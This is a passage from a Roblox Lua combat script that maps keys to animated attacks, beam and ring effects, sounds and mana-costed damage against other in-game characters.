Debounces.on == false then break end wait() end local HandCF = CFrame.new(char.Absolution.Handle.Position - Vector3.new(0,8.8,0)) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) local rng = Instance.new("Part", char.Absolution.Handle) rng.Anchored = true rng.BrickColor = BrickColor.new("Really black") rng.CanCollide = true rng.FormFactor = 3 rng.Name = "Ring" rng.Size = Vector3.new(1, 1, 1) rng.CanCollide = false rng.Transparency = 0.35 rng.TopSurface = 0 rng.BottomSurface = 0 rng.CFrame = HandCF local rngm = Instance.new("SpecialMesh", rng) rngm.MeshId = "http://www.roblox.com/asset/?id=3270017" rngm.Scale = Vector3.new(1, 1, 2) x = Instance.new("Sound", hed) x.SoundId = "http://www.roblox.com/asset/?id=169445602" x.Looped = false x.Pitch = .7 x.Volume = 1 x1 = Instance.new("Sound", hed) x1.SoundId = "http://www.roblox.com/asset/?id=169445602" x1.Looped = false x1.Pitch = .7 x1.Volume = 1 x:Play() x1:Play() rngto = rng.Touched:connect(function(ht) hit = ht.Parent if ht and hit:IsA("Model") then if hit:FindFirstChild("Humanoid") then if hit.Name ~= p.Name then hit:FindFirstChild("Humanoid"):TakeDamage(4) hit:FindFirstChild("Humanoid").PlatformStand = true hit:FindFirstChild("Torso").Velocity = hit:FindFirstChild("Torso").CFrame.lookVector * -120 --Debounces.Slashed = false --end end end elseif ht and hit:IsA("Hat") then if hit.Parent.Name ~= p.Name then if hit.Parent:FindFirstChild("Humanoid") then hit.Parent:FindFirstChild("Humanoid"):TakeDamage(4) hit:FindFirstChild("Humanoid").PlatformStand = true hit:FindFirstChild("Torso").Velocity = hit:FindFirstChild("Torso").CFrame.lookVector * -120 --Debounces.Slashed = false end end end end) coroutine.wrap(function() for i = 1, 60, 2 do rngm.Scale = Vector3.new(10 + i*10, 10 + i*10, 10) rng.Size = rngm.Scale rng.CFrame = HandCF rng.Transparency = i/60 wait() end wait() rng:Destroy() end)() for i = 1, 18 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, 0.9, 0) * CFrame.Angles(math.rad(90),math.rad(0),math.rad(90)), 0.4) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, 0.9, 0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(-20)), 0.4) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, 0) * CFrame.Angles(math.rad(-14),math.rad(0),0), 0.4) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(0, math.rad(0), 0), 0.4) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 0) * CFrame.Angles(0, 0, math.rad(-10)), 0.4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -3, 0) * CFrame.Angles(0, 0, math.rad(10)), 0.4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.5, 0.2) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end larm.BrickColor = BrickColor.new("Really black") rarm.BrickColor = BrickColor.new("Really black") x:Destroy() x1:Destroy() if Debounces.CanAttack == false then Debounces.CanAttack = true Debounces.on = false Debounces.NoIdl = false end end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "y" then if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.on = true Debounces.NoIdl = true for i = 1, 15 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(30)), 0.2) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9,0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(-90)), 0.2) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(90),0), 0.2) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(0, math.rad(-90), 0), 0.2) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(-10)), 0.2) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(0, 0, math.rad(10)), 0.2) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then break end wait() end x = Instance.new("Sound",char) x.SoundId = "rbxassetid://228343271" x.Pitch = 1 x.Volume = .8 wait(.1) x:Play() Debounces.on = false Debounces.Here = false shot = shot + 1 local rng = Instance.new("Part", char) rng.Anchored = true rng.BrickColor = BrickColor.new("Really black") rng.CanCollide = false rng.FormFactor = 3 rng.Name = "Ring" rng.Size = Vector3.new(1, 1, 1) rng.Transparency = 0.35 rng.TopSurface = 0 rng.BottomSurface = 0 rng2 = rng:clone() rng3 = rng2:clone() rng4 = rng2:clone() local rngm = Instance.new("SpecialMesh", rng) rngm.MeshId = "http://www.roblox.com/asset/?id=3270017" rngm.TextureId = "http://www.roblox.com/asset/?id=122569107" rngm.Scale = Vector3.new(10, 10, 1) rngm2 = rngm:clone() rngm2.Scale = Vector3.new(5, 5, 1) rngm3=rngm2:clone() rngm3.Parent = rng3 rngm3.Scale = Vector3.new(8, 8, 1) rngm4 = rngm2:clone() rngm4.Parent = rng4 rngm4.Scale = Vector3.new(6, 6, 1) local bem = Instance.new("Part", char) bem.Anchored = true bem.BrickColor = BrickColor.new("Really black") bem.CanCollide = false bem.FormFactor = 3 bem.Name = "Beam" .. shot bem.Size = Vector3.new(1, 1, 1) bem.Transparency = 0.35 bem.TopSurface = 0 bem.BottomSurface = 0 local bemm = Instance.new("SpecialMesh", bem) bemm.MeshType = 4 bemm.Scale = Vector3.new(1, 4, 4) local out = Instance.new("Part", char) out.Anchored = true out.BrickColor = BrickColor.new("Really black") out.CanCollide = false out.FormFactor = 3 out.Name = "Out" out.Size = Vector3.new(4, 4, 4) out.Transparency = 0.35 out.TopSurface = 0 out.BottomSurface = 0 local outm = Instance.new("SpecialMesh", out) outm.MeshId = "http://www.roblox.com/asset/?id=1033714" outm.TextureId = "http://www.roblox.com/asset/?id=122569107" outm.Scale = Vector3.new(4, 4, 4) local bnd = Instance.new("Part", char) bnd.Anchored = true bnd.BrickColor = BrickColor.new("Really black") bnd.CanCollide = false bnd.FormFactor = 3 bnd.Material = "Neon" bnd.Name = "Bend" bnd.Size = Vector3.new(1, 1, 1) bnd.Transparency = 1 bnd.TopSurface = 0 bnd.BottomSurface = 0 local bndm = Instance.new("SpecialMesh", bnd) bndm.MeshType = 3 bndm.Scale = Vector3.new(8, 8, 8) out.CFrame = larm.CFrame * CFrame.new(0, -2.7, 0) bem.CFrame = out.CFrame * CFrame.new(0, -2.5, 0) * CFrame.Angles(0, 0, math.rad(90)) bnd.CFrame = bem.CFrame * CFrame.new(0, 0, 0) rng.CFrame = out.CFrame * CFrame.Angles(math.rad(90), 0, 0) rng3.CFrame = rng.CFrame * CFrame.new(0, -.5, 0) rng4.CFrame = rng3.CFrame * CFrame.new(0, -.5, 0) Debounces.Shewt = true coroutine.wrap(function() for i = 1, 50, 0.2 do rngm.Scale = Vector3.new(10 + i*2, 10 + i*2, 1) rngm3.Scale = Vector3.new(8 + i*2, 8 + i*2, 1) rngm4.Scale = Vector3.new(6 + i*2, 6 + i*2, 1) rng.Transparency = i/20 rng3.Transparency = 1/16 rng4.Transparency = i/12 wait() end wait() rng:Destroy() end)() if Debounces.Shewt == true then char:WaitForChild("Beam" .. shot).Touched:connect(function(ht) hit = ht.Parent if hit:IsA("Model") and hit:findFirstChild("Humanoid") then if HasntTouched(hit.Name) == true and deb == false then deb = true coroutine.wrap(function() hit:FindFirstChild("Humanoid").PlatformStand = true hit:FindFirstChild("Torso").Velocity = char.Head.CFrame.lookVector * 180 hit:FindFirstChild("Humanoid"):TakeDamage(math.random(24,73)) end)() table.insert(Touche, hit.Name) deb = false end elseif hit:IsA("Hat") and hit.Parent:findFirstChild("Humanoid") then if HasntTouched(hit.Parent.Name) == true and deb == false then deb = true coroutine.wrap(function() hit.Parent:FindFirstChild("Humanoid").PlatformStand = true hit.Parent:FindFirstChild("Torso").Velocity = char.Head.CFrame.lookVector * 180 wait(1) hit.Parent:FindFirstChild("Humanoid").PlatformStand = false end)() table.insert(Touche, hit.Parent.Name) deb = false for i, v in pairs(Touche) do print(v) end end end end) end for i = 0, 260, 8 do bem.Size = Vector3.new(i, 2, 2) bem.CFrame = larm.CFrame * CFrame.new(0, -4.2 -(i/2), 0) * CFrame.Angles(0, 0, math.rad(90)) bnd.CFrame = bem.CFrame * CFrame.new(-i/2, 0, 1.2) bnd.Size = Vector3.new(1,1,1) bndm.Scale = Vector3.new(8,8,8) if i % 10 == 0 then local newRng = rng2:Clone() newRng.Parent = char newRng.CFrame = larm.CFrame * CFrame.new(0, -4.2-i, 0) * CFrame.Angles(math.rad(90), 0, 0) local newRngm = rngm2:clone() newRngm.Parent=newRng coroutine.wrap(function() for i = 1, 10, 0.2 do newRngm.Scale = Vector3.new(8 + i*2, 8 + i*2, 1) newRng.Transparency = i/10 wait() end wait() newRng:Destroy() end)() end wait() end wait() Debounces.Shewt = false bem:Destroy() out:Destroy() bnd:Destroy() Debounces.Ready = false for i, v in pairs(Touche) do table.remove(Touche, i) end wait() table.insert(Touche, char.Name) Debounces.NoIdl = false if Debounces.CanAttack == false then Debounces.CanAttack = true end end end end) ---------------------------------------------------- sidz = {"231917888", "231917845", "231917806"} ptz = {0.65, 0.7, 0.75, 0.8, 0.95, 1} mouse.KeyDown:connect(function(key) if key == "f" and char.Mana.Value>=50 then char.Mana.Value = char.Mana.Value - 50 larm.BrickColor = BrickColor.new("Really black") rarm.BrickColor = BrickColor.new("Camo") if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.on = true Debounces.NoIdl = true for i = 1, 10 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.4, 2.4, 0)*CFrame.Angles(math.rad(170),math.rad(0),math.rad(-34)), 0.4) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.4, 2.4, 0)*CFrame.Angles(math.rad(170),math.rad(0),math.rad(34)), 0.4) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, .2)*CFrame.Angles(math.rad(16),math.rad(0),0), 0.4) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(math.rad(20), math.rad(0), 0), 0.4) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 0) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -2, -1.4) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.5, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end z = Instance.new("Sound",char) z.SoundId = "rbxassetid://"..sidz[math.random(1,#sidz)] z.Pitch = ptz[math.random(1,#ptz)] z.Volume = 1 z1 = Instance.new("Sound",char) z1.SoundId = z.SoundId z1.Pitch = z.Pitch z1.Volume = 1 wait(1) z:Play() z1:Play() Stomp() for i = 1, 20 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, 0.9, .4)*CFrame.Angles(math.rad(-50),math.rad(0),math.rad(28)), 0.6) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3, 0.9, .4)*CFrame.Angles(math.rad(-50),math.rad(0),math.rad(-28)), 0.6) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, -.2)*CFrame.Angles(math.rad(-26),math.rad(0),0), 0.6) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, -.6) * CFrame.Angles(math.rad(-30), math.rad(0), 0), 0.6) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 0) * CFrame.Angles(math.rad(30), 0, math.rad(0)), 0.6) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -2.8, -1.4) * CFrame.Angles(math.rad(30), 0, math.rad(0)), 0.6) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.5, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then break end wait() end if Debounces.CanAttack == false then Debounces.CanAttack = true Debounces.on = false Debounces.NoIdl = false larm.BrickColor = BrickColor.new("Really black") rarm.BrickColor = BrickColor.new("Really black") end end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "g" and char.Mana.Value>5 then char.Mana.Value = char.Mana.Value - 5 larm.BrickColor = BrickColor.new("Camo") rarm.BrickColor = BrickColor.new("Really black") if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.on = true Debounces.NoIdl = true chrg = lleg.Touched:connect(function(ht) hit = ht.Parent if ht and hit:IsA("Model") then if hit:FindFirstChild("Humanoid") then if hit.Name ~= p.Name then hit:FindFirstChild("Humanoid"):TakeDamage(2) hit:FindFirstChild("Humanoid").PlatformStand = true hit:FindFirstChild("Torso").Velocity = hit:FindFirstChild("Torso").CFrame.lookVector * -70 --Debounces.Slashed = false --end end end elseif ht and hit:IsA("Hat") then if hit.Parent.Name ~= p.Name then if hit.Parent:FindFirstChild("Humanoid") then hit.Parent:FindFirstChild("Humanoid"):TakeDamage(2) hit:FindFirstChild("Humanoid").PlatformStand = true hit:FindFirstChild("Torso").Velocity = hit:FindFirstChild("Torso").CFrame.lookVector * -70 --Debounces.Slashed = false end end end end) for i = 1, 14 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3, .9, 0)*CFrame.Angles(math.rad(0),math.rad(0),math.rad(30)), 0.5) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.6, .9, -.4)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(50)), 0.5) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, -.2)*CFrame.Angles(math.rad(0),math.rad(90),math.rad(0)), 0.5) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(math.rad(0), math.rad(-90), math.rad(0)), 0.5) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-.8, -3, 0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(15)), 0.5) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -3, 0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(15)), 0.5) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.3, -1.1) * CFrame.Angles(math.rad(-60), math.rad(-90), math.rad(0)), 0.9) if Debounces.on == false then break end wait() end charge() z = Instance.new("Sound",char) z.SoundId = "rbxassetid://200632875" z.Volume = 1 z.Pitch = .8 z1 = Instance.new("Sound",char) z1.SoundId = "rbxassetid://200632875" z1.Volume = 1 z1.Pitch = .9 z:Play() z1:Play() wait(1) z:Destroy() z1:Destroy() chrg:disconnect() if Debounces.CanAttack == false then Debounces.CanAttack = true Debounces.on = false Debounces.NoIdl = false larm.BrickColor = BrickColor.new("Really black") rarm.BrickColor = BrickColor.new("Really black") end end end end) ---------------------------------------------------- pt = {0.7, 0.8, 0.9} mouse.KeyDown:connect(function(key) if key == "h" and char.Mana.Value>50 then char.Mana.Value = char.Mana.Value - 50 if Debounces.CanJoke == true then Debounces.CanJoke = false u = Instance.new("Sound") u.SoundId = "http://www.roblox.com/asset/?id=138199573" u.Parent = char u.Looped = false u.Pitch = pt[math.random(1,#pt)] u.Volume = 1 u2 = Instance.new("Sound") u2.SoundId = "http://www.roblox.com/asset/?id=138199573" u2.Parent = char u2.Looped = false u2.Pitch = u.Pitch u2.Volume = 1 wait(.01) u:Play() u2:Play() wait(6) u:Destroy() u2:Destroy() if Debounces.CanJoke == false then Debounces.CanJoke = true end end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "j" and char.Mana.Value> 30 then char.Mana.Value = char.Mana.Value-30 if Debounces.CanJoke == true then Debounces.CanJoke = false z = Instance.new("Sound",char) z.SoundId = "rbxassetid://135017755" z.Pitch = .76 z.Volume = 1 wait() z:Play() wait(6) z:Destroy() if Debounces.CanJoke == false then Debounces.CanJoke = true end end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "k" and char.Mana.Value> 10 then char.Mana.Value = char.Mana.Value -10 if Debounces.CanJoke == true then Debounces.CanJoke = false z = Instance.new("Sound",char) z.SoundId = "rbxassetid://135017578" z.Pitch = .76 z.Volume = 1 wait() z:Play() wait(4) z:Destroy() if Debounces.CanJoke == false then Debounces.CanJoke = true end end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "u" and char.Mana.Value>200 then wait(1) char.Mana.Value = char.Mana.Value-200 charge() wait(0.6) charge() wait(0.6) charge() wait(2) end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "x" and char.Mana.Value>50 then char.Mana.Value = char.Mana.Value-50 if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.NoIdl = true Debounces.on = true Debounces.ks = true for i = 1, 10 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(20)), 0.6) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.7,.9,-.5)*CFrame.Angles(math.rad(40),math.rad(0),math.rad(20)), 0.6) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.4)*CFrame.Angles(math.rad(-26),math.rad(0),0), 0.6) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(math.rad(-10), math.rad(0), 0), 0.6) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 0) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(0)), 0.6) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -2.7, .6) * CFrame.Angles(math.rad(-70), math.rad(0), math.rad(0)), 0.6) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then break end wait() end z = Instance.new("Sound",hed) z.SoundId = "rbxassetid://169445092" z.Volume = 1 wait(0.1) z:Play() kik = rleg.Touched:connect(function(ht) hit = ht.Parent if ht and hit:IsA("Model") then if hit:FindFirstChild("Humanoid") then if hit.Name ~= p.Name then if Debounces.ks==true then z = Instance.new("Sound",hed) z.SoundId = "rbxassetid://169380525" z.Volume = 1 z:Play() Debounces.ks=false end hit:FindFirstChild("Humanoid"):TakeDamage(2) hit:FindFirstChild("Humanoid").PlatformStand = true hit:FindFirstChild("Torso").Velocity = hit:FindFirstChild("Torso").CFrame.lookVector * -70 --Debounces.Slashed = false --end end end elseif ht and hit:IsA("Hat") then if hit.Parent.Name ~= p.Name then if hit.Parent:FindFirstChild("Humanoid") then hit.Parent:FindFirstChild("Humanoid"):TakeDamage(2) hit:FindFirstChild("Humanoid").PlatformStand = true hit:FindFirstChild("Torso").Velocity = hit:FindFirstChild("Torso").CFrame.lookVector * -70 --Debounces.Slashed = false --end end end end end) for i = 1, 8 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,0)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(20)), 0.7) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9,0)*CFrame.Angles(math.rad(-50),math.rad(0),math.rad(-20)), 0.7) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,.2)*CFrame.Angles(math.rad(8),math.rad(0),0), 0.7) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.2, 0) * CFrame.Angles(math.rad(16), math.rad(0), 0), 0.7) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 0) * CFrame.Angles(math.rad(-16), math.rad(0), math.rad(0)), 0.7) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -2.6, -1.4) * CFrame.Angles(math.rad(60), math.rad(0), math.rad(0)), 0.7) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then break end wait() end kik:disconnect() if Debounces.CanAttack == false then Debounces.CanAttack = true Debounces.on = false Debounces.NoIdl = false end end end end) ---------------------------------------------------- mouse.KeyDown:connect(function(key) if key == "c" and char.Mana.Value>80 then char.Mana.Value = char.Mana.Value -80 if Debounces.CanAttack == true then Debounces.CanAttack = false Debounces.NoIdl = true Debounces.on = true SIDZ = {"231917744", "231917742"} PTZ = {0.7, 0.8, 0.9, 1} for i = 1, 20 do wait() for i,v in pairs(char.Absolution:children()) do if v:IsA("Part") or v:IsA("WedgePart") then v.Transparency = v.Transparency + 0.05 end end end function FindNearestTorso(Position,Distance,SinglePlayer) if SinglePlayer then return(SinglePlayer.Torso.CFrame.p -Position).magnitude < Distance end local List = {} for i,v in pairs(workspace:GetChildren())do if v:IsA("Model")then if v:findFirstChild("Torso")then if v ~= char then if(v.Torso.Position -Position).magnitude <= Distance then table.insert(List,v) end end end end end return List end GroundPound() for i = 1, 5 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,1)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(50)), 0.7) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.2,.9,-2.2)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(20)), 0.7) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(20),0), 0.6) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -2.2, 0) * CFrame.Angles(math.rad(-80), math.rad(-20), 0), 0.6) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -2, -.4) * CFrame.Angles(math.rad(80), 0, math.rad(-30)), 0.6) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -2, -1) * CFrame.Angles(math.rad(80), 0, math.rad(10)), 0.6) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then break end wait() end GroundPound() for i = 1, 5 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.2,.9,-2.2)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(-20)), 0.7) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9,1)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(-50)), 0.7) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(-20),0), 0.6) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -2.2, 0) * CFrame.Angles(math.rad(-80), math.rad(20), 0), 0.6) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -2, -1) * CFrame.Angles(math.rad(80), 0, math.rad(10)), 0.6) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -2, -.4) * CFrame.Angles(math.rad(80), 0, math.rad(30)), 0.6) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then break end wait() end GroundPound() for i = 1, 5 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,1)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(50)), 0.7) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.2,.9,-2.2)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(20)), 0.7) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(20),0), 0.6) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -2.2, 0) * CFrame.Angles(math.rad(-80), math.rad(-20), 0), 0.6) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -2, -.4) * CFrame.Angles(math.rad(80), 0, math.rad(-30)), 0.6) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -2, -1) * CFrame.Angles(math.rad(80), 0, math.rad(10)), 0.6) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then break end wait() end GroundPound() for i = 1, 5 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.2,.9,-2.2)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(-20)), 0.7) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9,1)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(-50)), 0.7) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(-20),0), 0.6) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -2.2, 0) * CFrame.Angles(math.rad(-80), math.rad(20), 0), 0.6) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -2, -1) * CFrame.Angles(math.rad(80), 0, math.rad(10)), 0.6) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -2, -.4) * CFrame.Angles(math.rad(80), 0, math.rad(30)), 0.6) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then break end wait() end GroundPound() for i = 1, 5 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(3,.9,1)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(50)), 0.7) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.2,.9,-2.2)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(20)), 0.7) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(20),0), 0.6) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -2.2, 0) * CFrame.Angles(math.rad(-80), math.rad(-20), 0), 0.6) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -2, -.4) * CFrame.Angles(math.rad(80), 0, math.rad(-30)), 0.6) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -2, -1) * CFrame.Angles(math.rad(80), 0, math.rad(10)), 0.6) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then break end wait() end GroundPound() for i = 1, 5 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.2,.9,-2.2)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(-20)), 0.7) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-3,.9,1)*CFrame.Angles(math.rad(90),math.rad(0),math.rad(-50)), 0.7) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0,3,-.2)*CFrame.Angles(math.rad(-14),math.rad(-20),0), 0.6) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -2.2, 0) * CFrame.Angles(math.rad(-80), math.rad(20), 0), 0.6) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1.2, -2, -1) * CFrame.Angles(math.rad(80), 0, math.rad(10)), 0.6) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1.2, -2, -.4) * CFrame.Angles(math.rad(80), 0, math.rad(30)), 0.6) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1, -1.1) * CFrame.Angles(math.rad(-90), math.rad(-110), math.rad(-70)), 1) if Debounces.on == false then break end wait() end for i = 1, 18 do rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(2.4, 2.4, 0)*CFrame.Angles(math.rad(170),math.rad(0),math.rad(-10)), 0.4) larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-2.4, 2.4, 0)*CFrame.Angles(math.rad(170),math.rad(0),math.rad(10)), 0.4) hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 3, .2)*CFrame.Angles(math.rad(16),math.rad(0),0), 0.4) torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, 2, 0) * CFrame.Angles(math.rad(20), math.rad(0), 0), 0.4) lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-1, -3, 0) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.4) rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(1, -2, -1.4) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.4) cor.Weld.C0 = Lerp(cor.Weld.C0, CFrame.new(0, -1.5, -.9) * CFrame.Angles(math.rad(-90), math.rad(-90), math.rad(0)), 1) if Debounces.on == false then 